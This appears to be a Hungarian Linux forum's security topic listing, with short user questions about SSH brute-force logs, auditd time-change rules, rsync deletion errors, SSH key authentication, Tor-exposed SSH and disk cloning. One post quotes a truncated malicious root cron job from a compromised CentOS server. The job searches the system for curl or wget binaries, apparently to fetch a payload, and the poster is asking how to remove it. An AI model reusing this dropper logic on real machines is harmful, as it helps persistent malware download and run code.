Linux-security

Miközben élet-halál harcot vívok a levelezési rendszeremmel, a Debian 9 -es szerveren a /var/log/auth.log -ban a következőket találtam:

Nov  1 20:48:33 nusi sshd[1689]: Failed password for root from 218.92.0.141 port 30866 ssh2
Nov  1 20:48:36 nusi sshd[1689]: Failed password for root from 218.92.0.141 port 30866 ssh2
Nov  1 20:48:40 nusi sshd[1689]: Failed password for root from 218.92.0.141 port 30866 ssh2
Nov  1 20:48:45 nusi sshd[1689]: Failed password for root from 218.92.0.141 port 30866 ssh2
Nov  1 20:48:47 nusi sshd[1689]: error: maximum authentication attempts exceeded for root from 218.92.0.141 port 30866 ssh2 [p
reauth]
Nov  1 20:48:47 nusi sshd[1689]: Disconnecting authenticating user root 218.92.0.141 port 30866: Too many authentication failu
res [preauth]
Nov  1 20:48:47 nusi sshd[1689]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.141
user=root

Ahogy elnézem, hasonló kaliberű címekről ismétlődik ez a próbálkozás. Tény a szerverem látható a netről - pl. az ssh 22 port.

Kezdjek el félni?

Sziasztok,

Tegyük fel, hogy X user vagyok, létrehozok környezeti változokat az adott session-re.
Y user képes sudo-zni, van esélye rá, hogy ezt a változót kiolvassa?
Legyen Debian és nem telepithet 3rd party tool-t erre a célra, screen sem játszik.

Üdv,
Tassadar

Sziasztok,

Probalnam beallitani az auditd-ben hogy mutassa ha valtozik az ido de nem hajlando.
Az alabbi parancsot hasznalom a tesztre

date -s '1 hour ago'

Es ezek az audit rule=ok amiket hasznalok

-a always,exit -F arch=b32 -S stime -F key=audit_time_rules
-a always,exit -F arch=b64 -S stime -F key=audit_time_rules
-a always,exit -F arch=b32 -S clock_settime -F a0=0x0 -F key=time-change
-a always,exit -F arch=b64 -S clock_settime -F a0=0x0 -F key=time-change
-w /etc/localtime -p wa -k audit_time_rules
-a always,exit -F arch=b32 -S adjtimex,settimeofday -F key=audit_time_rules
-a always,exit -F arch=b64 -S adjtimex,settimeofday -F key=audit_time_rules
-w /usr/bin/date -p wa -k audit_time_rules
-a always,exit -F path=/usr/sbin/pam_timestamp_check -F perm=x -F auid>=1000 -F auid!=unset -k privileged

Ennek azert bele kellene kopnie valamit az audit logba nem?

Üdv!
Egy up-to-date 6.* centos-ra (vps) felment egy "cron hack"(?).
A /etc/cron.d-ben egy:
*/17 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to " && wget="$f" ...

A crond service-t leállítom, de nem tudom root-ként kitörölni (művelet nem megengedett).
A cron.d-t átneveztem és egy üres cron.d-vel sem enged reboot után.

A /usr/local/bin/nptd hozta létre és azt sem tudom törölni.

Futó folyamatok között semmit se látok:
https://pastebin.com/d4Qk6R1z

Mivel tudnám törölni? A rkhunter nem látott semmit.

Elmentek a felfedezők a Python bolygóra és mentek és csak mendegéltek, de egyszer csak...
...és akkor egyszer csak ott termett egy ajtó....

https://www.zdnet.com/article/malicious-python-libraries-targeting-linu…

Szeretnék rsync-et mélyebben használókkal körbejárni egy jelenséget, amibe most botlottam bele.
Egy szerver teljes mentése évek óta stabilan és megbízhatóan zajlik az rsync programmal.
Ám az éles szerveren egy letörölt mappa a backup területen továbbra is elérhető.
Az rsync root joggal fut, a következő kapcsolókkal:

rsync -aHvz --delete --numeric-ids root@{forrás} {cél}

Az rsync a másolás során a "cannot delete non-empty directory" hibaüzenetet adja, vagyis észleli, hogy a mappát törölnie kellene, de nem tudja, mivel annak tartalma van. A tartalma azonban csak két normál fájl, és innentől nem igazán értem a jelenség okát. Főleg azért, mert a teljes szerver mentésében ez az egyetlen ilyen hiba. Általában le tudja szinkronizálni a mappák törlését. A jogosultságok sem zavarhatják, mert root joggal fut.
Egyedüli érdekesség, hogy a törlésre került mappa szülőmappája az éles és a mentés szerveren is azonos dátumú. Pedig, ha egyszer törlésre került a szerveren a mappa, akkor a szülőmappa dátumának meg kellett volna változni. Vagy lehet, hogy azt leszinkronizálta az rsync, annak ellenére, hogy a benne lévő mappát nem tudta törölni?

Szükségessé vált, hogy Andriod alól ssh-n keresztül tudjak kapcsolódni több távoli géphez klienssel. Mivel korábban sikerült megégetnem magamat Androidos ssh klienssel, most kissé viszolyogva figyelem a Play által felkínált lehetőségeket. Annó, a fenekemet az mentette meg, hogy a távoli gépen sessiononként változó felhasználónévvel és jelszóval lehetett belépni, de a most nincs meg ugyanez a háttér.
Milyen ötleteitek vannak arra, hogy egy normál linux alaptelepítés eszköztárából felhasznált eszközökkel, az ember védve legyen egy megbízhatatlan ssh kliens általi adatszivárgás kivédésére? Hogyan konfigurálnátok fel egy ilyen rendszert? Milyen, általános, disztribúciók által szállított toolokat ismertek ilyen managementre?

Úgy tűnik, nem értem, az SSH hitelesítés folyamatát.
Egy szerver mentést állítanám vissza egy újratelepített szűz rendszerre úgy, hogy az új szerver is elérje azokat az ssh erőforrásokat, amiket a régi.
A probléma ott van, hogy már maga a mentés is SSH kulcs segítségével érhető el.
Az új rendszer feltelepítése után el kellene érnem, hogy kulccsal tudjam hitelesíteni az új szervert is a mentés szerverén.
Ehhez azonban tudnom kéne, az SSH mikor milyen kulcsot használ hitelesítéshez. Ez azonban nem sikerül.
A éles szerver root felhasználója készíti a mentést. A root felhasználónak nincs saját kulcsa, mégis be tud lépni a távoli mentés gépére egy egyszerű ssh paranccsal.
Az új gép root felhasználójának szintén nincs saját kulcsa, de nem tud belépni a mentéshez.
Gondoltam, ha nem a user kulcsával hitelesít az ssh, akkor a szerver valamelyik kulcsával. De ha a teljes /etc/ssh mappát átmásolom az új szerverre, akkor sem tudom elérni az új gépről a mentés szerverét. Mindig jelszót kér.
Ha naplózom az ssh kapcsolódást, a logban nem látom, melyik kulcsfájlt használja a hitelesítéshez. Egyik naplófájlban megjelent ugyan a sikeres hitelesítésről, hogy RSA és 16 bájt, de ebből sem tudom beazonosítani, melyik kulccsal hitelesít.

Hogyan állapíthatom meg, hogy a jelenlegi rendszer melyik kulcs használatával hitelesíti magát?

Sziasztok!

Otthoni házautomatizálás projekt kapcsán egy raspberry pi zero W-re domoticz-ot
tettem. Interneten bárhonnan szeretném elérni a pi-t is (ssh), és a domoticz-ot is.
Adta magát a tor onion hidden service, fail2ban-nal megspékelve.
A domo szépen elérhető, az ssh-t is beállítottam a tor-ban, viszont windows
alól putty-val hogy tudom elérni a toron osztott ssh-t? Belső hálón megy az ssh, ezen
matatom a pi-t.
Köszönöm,
Roland

A laptopom wincsesztere (1TB) kezd elhalni. Jelenleg két nem olvasható szektora van.
Bár mentés van az adatokról, jó lenne az egészet átmásolni egy új merevlemezre, és egyszerűen csak kicserélni.
Ehhez keresek Debian alól használható eszközt.
Amit tudnia kellene:
- A teljes lemez másolása, boot információkkal együtt. Bár a lemez a Debianban csak adatpartíciókat tartalmaz, van rajta egy Win10, amiről be lehet bootolni. Szeretném, ha ez a másolattal is működne.
- Elég sok üres hely van a lemezen, ezt jó lenne nem másolni.
- A hibás szektor a másolaton ne legyen hibás szektor.
- A két lemez nem tökéletesen egyforma, az újabb nagyobb picivel.
Ha még grafikus felülete is lenne, az szép lenne.
Ismertek ilyen direkt mentő programot linuxra?